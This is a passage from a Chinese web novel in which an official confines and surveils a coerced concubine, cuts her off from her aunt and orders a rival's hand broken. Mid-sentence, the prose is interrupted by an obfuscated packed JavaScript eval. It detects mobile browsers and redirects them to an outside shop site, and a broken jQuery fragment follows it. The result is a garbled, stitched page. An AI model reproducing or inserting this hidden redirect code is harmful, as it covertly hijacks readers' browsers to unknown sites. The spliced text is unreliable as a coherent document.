天渐渐热起来,白天渐长,天色将暮,自钱嬷嬷走后,洛青桃就独坐窗前,安静地一动不动,浑似一尊雕像,也不知在想什么,就连中午饭都没动。
寻春这时进了屋,对洛青桃道,“姑娘,重山院来人叫姑娘过去。大爷已回府了。”
说着她喜笑颜开地走过来,“大爷往常忙于公务,平常回府都到了深夜了,今日却这么早回来,一回来就传姑娘过去,可见心里是记挂着的。”
说着在床畔拿起洛青桃上午穿的那件桃红色衣裳,“既然是要见大爷,可不能穿这么简单。姑娘快换上吧,我再替姑娘梳妆。”
洛青桃下午时已换上了自己的衣服,棉布料子,颜色素淡,脸上的妆都洗了干净,发髻上一支钗环都没留。
家常这样穿自然无妨,但这会儿要去见林庭树,定是怎么打扮都不为过的。后院的女人,守着丁点大的天空,做不了旁的,也只能争奇斗艳,争男人那点宠。
洛青桃却伸手推开了寻春递过来的衣服,神色也淡淡不见喜色,“就这样吧。”
寻春自是又劝,可洛青桃静静坐在那里,表情无悲无喜,任她随便说却就是没有动容,寻春只好作罢。总不能让大爷等着吧。
寻春心里暗暗啧声,既然已入了林府,伺候了大爷,为何不认命,这番作态又是为何?要么当初宁死别入府,要么入了府就好生待着,这样不尴不尬的,她自己心里不快,难道大爷见了会喜欢?
最后一主一仆出了罘网院,朝重山院方向走去。
洛青桃一路进了重山院的院门,沿着抄手游廊往正屋方向走,没走几步路,却见林庭树正站在廊下,手里端着一小碟鸟食,廊下挂的鸟笼打开,他正在喂鸟。
里头是一只羽毛亮丽的画眉鸟,在笼子里非常乖巧,哪怕笼门打开,却丁点没有往外飞的意思。
洛青桃慢慢走近了,一张脸平静无波,很安静地站在一边。
她走近的时候,林庭树的目光往她身上一落,见她又穿的那样素淡。其实他也知道上午那件桃红色确实太俗艳了些,那是他故意挑的,是因见她那样死水的模样心有不悦。这件虽素,但更适合她,衬得那张脸素净如玉,那双眼明净出尘,实在赏心悦目。
若换了平常,他该闲闲欣赏一番。
但他只是一瞥就收回了眼,继续喂笼子里那只画眉鸟,仿佛没看见洛青桃般,只将她冷在那里。
洛青桃却根本不在乎,见他喂鸟,视线也不由得跟着看过去,只见那笼中的画眉鸟为了讨食,非常活跃地蹦来跳去讨好主人,时不时发出婉转的鸣叫声,实在是很好听。
全程笼门都开着,它没有丁点飞出来的意思。显然是被驯的很听话了。
洛青桃怔怔看着,这时却听林庭树的声音响起,“和王家人见过面了?”
听他提起王家人,洛青桃就紧张起来,生怕他又拿王家人作筏子,忙回,“见过了。”
“说了什么?”他又问,却并没有回头看她,还是在逗弄那只鸟雀,仿佛不过随口这么一问。
洛青桃说,“只是和伯母说些家常话,伯母身体不好,我劝她多保重身体,莫要为我担心。”
林庭树却轻笑一声,“没说什么?那怎么哭了?想是诉苦了吧。入我府里,倒实在是委屈你了。”
“不是还约定了说,等三五年后就出府去投奔她?既然存了这个心思,怎么倒不告诉我,那到时候准备怎么出府啊?想逃出去?”
他的语气淡淡,仿佛不过闲谈,但问的内容却让洛青桃无比心惊。
她张了张嘴,只觉浑身觳觫不止。明明当时她和伯母说话时,寻春只远远守着,再无旁人。又想起先前她与王霖风决定成亲的事……她的一举一动都被监视着。
是啊,他是镇抚司掌狱使,而镇抚司是什么地方,市井都说那镇抚司中人神出鬼没,旁人做什么说什么,只有镇抚司不想知道的,没有镇抚司不能知道的。林庭树执掌镇抚司,想盯着她的一举一动,太简单了。
无形的天罗地网将她笼罩,她连丁点自由都没有。她只觉窒息极了。她真是罘网中的一只猎物。
洛青桃面色苍白,浑身冰冷,张嘴想辩解,却半晌发不出声来。她只觉眼前这个男人十分可怕,她下意识倒退了一步。
为什么自己会被他看上?
这时林庭树才终于纡尊降贵地转过身来,见她这样子,反轻轻笑了一声,走前一步,伸手掐住她的下巴,让她抬起脸来仰面看着他。“别存那些不该有的心思。至于你那个伯母,日后也别来往了,既然已入了我府,就别惦记着外头了。”
一听林庭树不让她再见伯母,洛青桃哪里会听,忙开口辩解,“伯母没别的意思,只是关心我而已!”
而且伯母也并没有说什么不中听的。纵真说了什么,可只是嘴上说说,难道也不行吗?难道她们私下说话都只能违心说他的好?
“行了,我说什么就是什么。”林庭树打断了她辩解的话,“又不是你正经亲戚,有什么来往的必要?”
洛青桃的身世、亲戚关系,林庭树自是早派人查的清楚,知道她父母双亡,并无别的亲戚。这身世虽可怜,但林庭树却挺满意——既无旁的亲人,那就只能依附他。
更何况,她和王家人来往,谁知道是不是存了想见那穷书生的心思?若不是下头人禀报说,她和王家人见面时,只和她那伯母说话,其他人看都没多看一眼,他这会儿才不会如此心平气和。
可洛青桃将王伯母视作世上唯一的亲人,哪里肯听林庭树如此霸道的安排,“可那是我伯母,为什么不准我和她见面!”
激愤之余,她没忍住,竟喊了出声。
林庭树的脸顿时沉了下来。
他本听那番“三五年后出府”的话,心里已存不悦,想先在他府里委屈个三五年,然后出府去和她那心上人再续前缘?当他是死的不成?!若洛青桃这会儿乖乖听话,和王家人彻底断了关
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17655667|204209||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
系不再来往,那他也就不追究了,可偏她一听这话就像猫儿被踩了尾巴,一改那死气沉沉的模样,梗着脖子就是要和他反着来,这让他如何能心气顺畅?
他冷喝,“就凭你进了我的后院,从此后我便是你的天,你就只能听我的话!”
“三五年就出府?便是我真有腻味了的那一天,我的女人也不可能放出府去,你给我死也死在这府里!”
他这番话斩钉截铁,显然是毫无置喙的余地。那番三五年出府的话,其实本是王伯母安慰洛青桃之语,给她一个虚无缥缈的念想,洛青桃未必不知道,只是她自欺欺人地存了这个希望而已。
但林庭树这么说,却是将她这虚无缥缈的希望都彻底打碎了。
她本是想忍的,知道他位高权重,她硬碰硬根本不会有好结果,或许忍着忍着她也就习惯了,就像廊下笼子里那些鸟雀一样,一开始都想飞出去,久了也就麻木了。可这会儿让她怎么能忍得住?
她面色发白,却猛地抬头盯着他,眼里燃着簇簇的火,“你……林庭树,你仗势欺人,强抢民女!”
她直呼其名,听得一旁侍立的平沙瞪大了眼,眼见二人竟是要争执起来,忙向一旁寻春使眼色,二人悄默声退了下去,免得听到什么不该听的。
洛青桃这会儿却哪管这个,“你逼我入府,我一开始就没有答应过,可你三番两次强迫,以王伯母相要挟,逼我不得不委身于你,如今却又不许我和她再见面。你这林府是什么地方,难道是衙门的监牢不成,便是衙门的犯人也有亲人探望的时候,可我成什么了?”
林庭树倏然冷下脸,“入我林府倒是委屈你了!富贵荣华,难道脏了你这清高的眼?”
在外头她寄人篱下,受人冷言冷语,被这个那个觊觎姿色,小小鸟雀有什么自保能力?如今在他庇护之下,万事不愁,她非但不感恩戴德,倒浑似受了天大的委屈,一整天拉长个脸给谁看?
洛青桃冷冷同他对视,“我被逼入府,难道竟要感恩戴德不成?大人若想要奴颜媚骨者,何必来找我!”
若换了旁人,敢这样同林庭树说话,他看都不会多看一眼,直接叫人拖下去料理了。但不知怎得,见洛青桃这倔强不服输的模样,反微眯着眼,愈发起了熬鹰的心思。
好个倔强清高的小小鸟雀,可他偏要折煞她的性子,他等着她奴颜媚骨地朝他低头的那天!
他居高临下地俯视着洛青桃,像猎人注视着落入网中却还在奋力挣扎的猎物,片刻后,漫不经心地笑了一声,“你那好哥哥要考今年的秋闱吧……”
见林庭树如此神情,洛青桃心生不安。他这样慢条斯理、高高在上地说话,反而比方才那阴沉的模样更有压迫感。
他轻笑着说,“先前趁我离京,你们一道去观音庙求姻缘,他哪只手碰你来着?”
“哦对了,是右手。”
“把这只手打断了吧。”
林庭树淡淡开口,却极阴冷。